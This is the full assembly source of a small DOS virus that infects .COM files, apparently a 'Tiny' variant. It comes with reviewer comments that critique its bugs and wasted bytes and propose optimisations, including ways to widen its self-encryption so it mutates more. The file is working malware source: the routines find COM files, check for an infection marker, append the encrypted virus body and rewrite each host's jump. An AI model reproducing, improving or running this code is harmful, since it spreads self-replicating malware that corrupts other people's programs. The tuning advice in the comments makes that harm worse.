muttiny segment byte public assume cs:muttiny, ds:muttiny org 100h start: db 0e9h, 5, 0 ; jmp startvir restorehere: int 20h idword: dw 990h ; The next line is incredibly pointless. It is a holdover from one ; of the original TINYs, where the id was 7, 8, 9. The author can ; easily save one byte merely by deleting this line. db 09h startvir: call oldtrick ; Standard location-finder oldtrick: pop si ; The following statement is a bug -- well, not really a bug, just ; extraneous code. The value pushed on the stack in the following ; line is NEVER popped off. This is messy programming, as one byte ; could be saved by removing the statement. push si sub si,offset oldtrick call encrypt ; Decrypt virus call savepsp ; and save the PSP ; NOTE: The entire savepsp/restorepsp procedures are unnecessary. ; See the procedures at the end for further details. jmp short findencryptval ; Go to the rest of the virus ; The next line is another example of messy programming -- it is a ; NOP inserted by MASM during assembly. Running this file through ; TASM with the /m2 switch should eliminate such "fix-ups." nop ; The next line leaves me guessing as to the author's true intent. db 0 encryptval dw 0h encrypt: push bx ; Save handle ; The following two lines of code could be condensed into one: ; lea bx, [si+offset startencrypt] ; Once again, poor programming style, though there's nothing wrong ; with the code. mov bx,offset startencrypt add bx,si ; Continueencrypt is implemented as a jmp-type loop. Although it's ; fine to code it this way, it's probably easier to code using the ; loop statement. Upon close inspection, one finds the loop to be ; flawed. Note the single inc bx statement. This essentially makes ; the encryption value a a byte instead of a word, which decreases ; the number of mutations from 65,535 to 255. Once again, this is ; just poor programming, very easily rectified with another inc bx ; statement. Another optimization could be made. Use a ; mov dx, [si+encryptval] ; to load up the encryption value before the loop, and replace the ; three lines following continueencrypt with a simple: ; xor word ptr [bx], dx continueencrypt: mov ax,[bx] xor ax,word ptr [si+encryptval] mov [bx],ax inc bx ; The next two lines should be executed BEFORE continueencrypt. As ; it stands right now, they are recalculated every iteration which ; slows down execution somewhat. Furthermore, the value calculated ; is much too large and this increases execution time. Yet another ; improvement would be the merging of the mov/add pair to the much ; cleaner lea cx, [si+offset endvirus]. mov cx,offset veryend ; Calculate end of add cx,si ; encryption: Note cmp bx,cx ; the value is 246 jle continueencrypt ; bytes too large. pop bx ret writerest: ; Tack on the virus to the call encrypt ; end of the file. mov ah,40h mov cx,offset endvirus - offset idword lea dx,[si+offset idword] ; Write starting from the id int 21h ; word call encrypt ret startencrypt: ; This is where the encrypted area begins. This could be moved to ; where the ret is in procedure writerest, but it is not necessary ; since it won't affect the "scannability" of the virus. findencryptval: mov ah,2Ch ; Get random # int 21h ; CX=hr/min dx=sec ; The following chunk of code puzzles me. I admit it, I am totally ; lost as to its purpose. cmp word ptr [si+offset encryptval],0 je step_two cmp word ptr [si+offset encryptval+1],0 je step_two cmp dh,0Fh jle foundencryptionvalue step_two: ; Check to see if any cmp dl,0 ; part of the encryption je findencryptval ; value is 0 and if so, cmp dh,0 ; find another value. je findencryptval mov [si+offset encryptval],dx foundencryptionvalue: mov bp,[si+offset oldjmp] ; Set up bp for add bp,103h ; jmp later lea dx,[si+filemask] ; '*.COM',0 xor cx,cx ; Attributes mov ah,4Eh ; Find first tryanother: int 21h jc quit_virus ; If none found, exit mov ax,3D02h ; Open read/write mov dx,9Eh ; In default DTA int 21h mov cx,3 mov bx,ax ; Swap file handle register lea dx,[si+offset buffer] mov di,dx call read ; Read 3 bytes cmp byte ptr [di],0E9h ; Is it a jmp? je infect findnext: mov ah,4Fh ; If not, find next jmp short tryanother infect: mov ax,4200h ; Move file pointer mov dx,[di+1] ; to jmp location mov [si+offset oldjmp],dx ; and save old jmp xor cx,cx ; location call int21h jmp short skipcheckinf ; Once again, we meet an infamous MASM-NOP. nop ; I don't understand why checkinf is implemented as a procedure as ; it is executed but once. It is a waste of code space to do such ; a thing. The ret and call are both extra, wasting four bytes. An ; additional three bytes were wasted on the JMP skipping checkinf. ; In a program called "Tiny," a wasted seven bytes is rather large ; and should not exist. I have written a virus of half the length ; of this virus which is a generic COM infector. There is just too ; too much waste in this program. checkinf: cmp word ptr [di],990h ; Is it already je findnext ; infected? ; The je statement above presents another problem. It leaves stuff ; on the stack from the call. This is, once again, not a critical ; error but nevertheless it is extremely sloppy behavior. xor dx,dx xor cx,cx mov ax,4202h call int21h ; Goto end of file ret skipcheckinf: mov cx,2 mov dx,di call read ; read 2 bytes call checkinf ; The next check is extraneous. No COM file is larger than 65,535 ; bytes before infection simply because it is "illegal." Yet ano- ; ther waste of code. Even if one were to use this useless check, ; it should be implemented, to save space, as or dx, dx. cmp dx,0 ; Check if too big jne findnext cmp ah,0FEh ; Check again if too big jae findnext mov [si+storejmp],ax ; Save new jmp call writerest ; location mov ax,4200h ; Go to offset mov dx,1 ; 1 in the file xor cx,cx call int21h mov ah,40h ; and write the new mov cx,2 ; jmp location lea dx,[si+storejmp] call int21h ; I think it is quite obvious that the next line is pointless. It ; is a truly moronic waste of two bytes. jc closefile closefile: mov ah,3Eh ; Close the file call int21h quit_virus: call restorepsp jmp bp read: mov ah,3Fh ; Read file ; I do not understand why all the int 21h calls are done with this ; procedure. It is a waste of space. A normal int 21h call is two ; bytes long while it's three bytes just to call this procedure! int21h: int 21h ret db 'Made in England' ; Note: The comments for savepsp also apply to restorepsp. ; This code could have easily been changed to a set active DTA INT ; 21h call (AH = 1Ah). It would have saved many, many bytes. savepsp: mov di,0 ; The following is a bug. It should be ; mov cx, 50h ; since the author decided to use words instead of bytes. mov cx,100h push si ; The loop below is dumb. A simple rep movsw statement would have ; sufficed. Instead, countless bytes are wasted on the loop. storebytes: mov ax,[di] mov word ptr [si+pspstore],ax add si,2 add di,2 loop storebytes pop si ret restorepsp: mov di,0 mov cx,100h ; Restore 200h bytes push si restorebytes: mov ax,word ptr [si+pspstore] mov [di],ax add si,2 add di,2 loop restorebytes pop si ret oldjmp dw 0 filemask db '*.COM',0 idontknow1 db 66h ; Waste of one byte buffer db 00h, 00h, 01h ; Waste of three bytes storejmp dw 0 ; Waste of two bytes ; endvirus should be before idontknow1, thereby saving six bytes. endvirus: idontknow2 db ?, ? pspstore db 200 dup (?) ; Should actually be idontknow3 db 2ch dup (?) ; 100h bytes long. veryend: ; End of encryption muttiny ends end start